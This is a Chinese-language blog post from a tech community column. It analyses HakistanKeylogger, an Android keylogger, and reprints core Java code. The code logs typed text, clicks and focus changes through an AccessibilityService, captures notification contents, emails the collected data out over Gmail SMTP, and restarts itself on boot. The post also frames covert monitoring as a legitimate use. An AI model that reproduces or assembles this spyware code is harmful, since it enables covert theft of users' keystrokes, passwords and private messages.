首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >HakistanKeylogger Android键盘记录器分析

HakistanKeylogger Android键盘记录器分析

作者头像
qife122
发布于 2025-06-16 09:04:09
发布于 2025-06-16 09:04:09
7900
举报

系统概述

HakistanKeylogger是一个基于 Android 平台的键盘记录器,主要用于监控用户的操作行为,包括键盘输入、点击事件、焦点变化、通知栏消息等。系统通过多个服务组件实现数据的收集、存储和发送,具备一定的隐蔽性和持久性。

系统架构

  1. 核心服务组件:
    • Gservice:后台服务,负责启动和管理其他组件,确保系统在后台持续运行。
    • KeyService:通过 AccessibilityService 监控用户的键盘输入、点击事件和焦点变化。
    • NotificationListener:监听通知栏消息,记录应用的通知内容。
    • EmailWorker:负责将收集到的数据通过电子邮件发送到指定邮箱。
  2. 辅助组件:
    • ApkInfoExtractor:获取设备上已安装应用的信息。
    • NetworkUtil:检查设备的网络连接状态。
    • StartOnBootReceiver:在设备启动时自动启动 Gservice,确保系统持久运行。
    • GApp:应用入口,创建通知渠道以便在后台运行时显示通知。
  3. 数据存储:
    • 使用 SharedPreferences 存储收集到的数据,包括键盘输入、点击事件、焦点变化、通知栏消息等。

主要核心技术点

AccessibilityService:

KeyService

通过 AccessibilityService 监控用户的键盘输入、点击事件和焦点变化。

核心代码:

代码语言:javascript
复制
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
        DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
        String time = df.format(Calendar.getInstance().getTime());
        SharedPreferences.Editor editor = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE).edit();
        SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
        String perviousData = prefs.getString(MY_PREFS_STRING_KEY, "Hakistan Keylogger \n");//"No name defined" is the default value.
        switch(event.getEventType()) {
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
                String data = event.getText().toString();
               // SendToServerTask sendTask = new SendToServerTask();
                String string = time + "|(TEXT)|" + data;
                perviousData = perviousData + string+"\n";
                Long perviousNotiCountData = prefs.getLong(MY_PREFS_Text_Count_KEY,0);//"No name defined" is the default value.
                Long tosaveCount = perviousNotiCountData + 1;
                editor.putLong(MY_PREFS_Text_Count_KEY, tosaveCount);
                //editor.putInt("idName", 12);
                editor.putString(MY_PREFS_STRING_KEY, perviousData);
                //editor.putInt("idName", 12);
                editor.apply();
                break;
            }
            case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
                String data = event.getText().toString();
                //SendToServerTask sendTask = new SendToServerTask();
                String FOCUSED =  time + "|(FOCUSED)|" + data;
                perviousData = perviousData + FOCUSED + "\n";
                Long perviousNotiCountData = prefs.getLong(MY_PREFS_FOCUSED_Count_KEY,0);//"No name defined" is the default value.
                Long tosaveCount = perviousNotiCountData + 1;
                editor.putLong(MY_PREFS_FOCUSED_Count_KEY, tosaveCount);
                //editor.putInt("idName", 12);
               // editor.putString(MY_PREFS_STRING_KEY, perviousData);
                editor.putString(MY_PREFS_STRING_KEY, perviousData);
                //editor.putInt("idName", 12);
                editor.apply();
                break;
            }
            case AccessibilityEvent.TYPE_VIEW_CLICKED: {
                String data = event.getText().toString();
                //SendToServerTask sendTask = new SendToServerTask();
                String CLICKED = time + "|(CLICKED)|" + data;
                perviousData  = perviousData + CLICKED + "\n";
                Long perviousNotiCountData = prefs.getLong(MY_PREFS_Clicks_Count_KEY,0);//"No name defined" is the default value.
                Long tosaveCount = perviousNotiCountData + 1;
                editor.putLong(MY_PREFS_Clicks_Count_KEY, tosaveCount);
                //editor.putInt("idName", 12);
               // editor.putString(MY_PREFS_STRING_KEY, perviousData);
                editor.putString(MY_PREFS_STRING_KEY, perviousData);
                //editor.putInt("idName", 12);
                editor.apply();
                break;
            }
            default:
                break;
        }
    }

NotificationListenerService:

NotificationListener

通过 NotificationListenerService 监听通知栏消息,记录应用的通知内容。

核心代码:

代码语言:javascript
复制
@Override
public void onNotificationPosted(StatusBarNotification sbn){
        // Implement what you want here
        DateFormat df = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US);
        String time = df.format(Calendar.getInstance().getTime());
        SharedPreferences.Editor editor = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE).edit();
        SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
        String perviousData = prefs.getString(MY_PREFS_STRING_KEY, "Hakistan Keylogger \n");//"No name defined" is the default value.
        String pack = sbn.getPackageName();
       // String ticker = sbn.getNotification().tickerText.toString();
        Bundle extras = null;
        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
            extras = sbn.getNotification().extras;
        }
        assert extras != null;
        String title = extras.getString("android.title");
        String text = extras.getCharSequence("android.text").toString();
        String noti_data = "\n\nTime: " + time + "\n" + "App Name: " + pack +"\nTitle: " +title+"\nText: "+text+"\n\n";
        //noti_data = ""
        perviousData = perviousData + noti_data+ "\n";
        editor.putString(MY_PREFS_STRING_KEY, perviousData);
        Long perviousNotiCountData = prefs.getLong(MY_PREFS_Notification_Count_KEY,0);//"No name defined" is the default value.
        Long tosaveCount = perviousNotiCountData + 1;
        editor.putLong(MY_PREFS_Notification_Count_KEY, tosaveCount);
        //editor.putInt("idName", 12);
        editor.apply();
     //  SharedPreferences prefs = getSharedPreferences(MY_PREFS_NAME, MODE_PRIVATE);
       // String name = prefs.getString(MY_PREFS_STRING_NAME, "No name defined");//"No name defined" is the default value.
       // int idName = prefs.getInt("idName", 0); //0 is the default value.
      //  Log.i("DTat",name);
      //  Log.i("Package",pack);
       // Log.i("Ticker",ticker);
        //Log.i("Title",title);
       // Log.i("Text",text);
    }

邮件发送:

EmailWorker

使用 JavaMail API 将收集到的数据通过电子邮件发送到指定邮箱。

核心代码:

代码语言:javascript
复制
private Session createSessionObject() {
        Properties properties = new Properties();
        properties.put("mail.smtp.auth", "true");
        properties.put("mail.smtp.starttls.enable", "true");
        properties.put("mail.smtp.host", "smtp.gmail.com");
        properties.put("mail.smtp.port", "587");
        return Session.getInstance(properties, new javax.mail.Authenticator() {
            protected PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(email, password);
            }
        });
    }

持久化运行:

StartOnBootReceiver

在设备启动时自动启动 Gservice,确保系统持久运行。

核心代码:

代码语言:javascript
复制
@Override
public void onReceive(Context context, Intent intent) {
   if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
       Intent i = new Intent(context, Gservice.class);
       ContextCompat.startForegroundService(context, i);
   }
}

应用场景

  1. 安全监控:可用于企业或家庭环境中,监控设备的使用情况,防止敏感信息泄露。
  2. 恶意软件:该系统也可被恶意利用,窃取用户的隐私信息,如账号密码、聊天记录等。
  3. 行为分析:通过分析用户的操作行为,优化应用的用户体验。

系统总结

HakistanKeylogger通过多个 Android 服务组件实现了对用户操作的全面监控,具备较强的隐蔽性和持久性。

github链接地址:https://github.com/hakistan/HakistanKeylogger.git

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-03-25,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 系统概述
  • 系统架构
  • 主要核心技术点
  • 应用场景
  • 系统总结
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档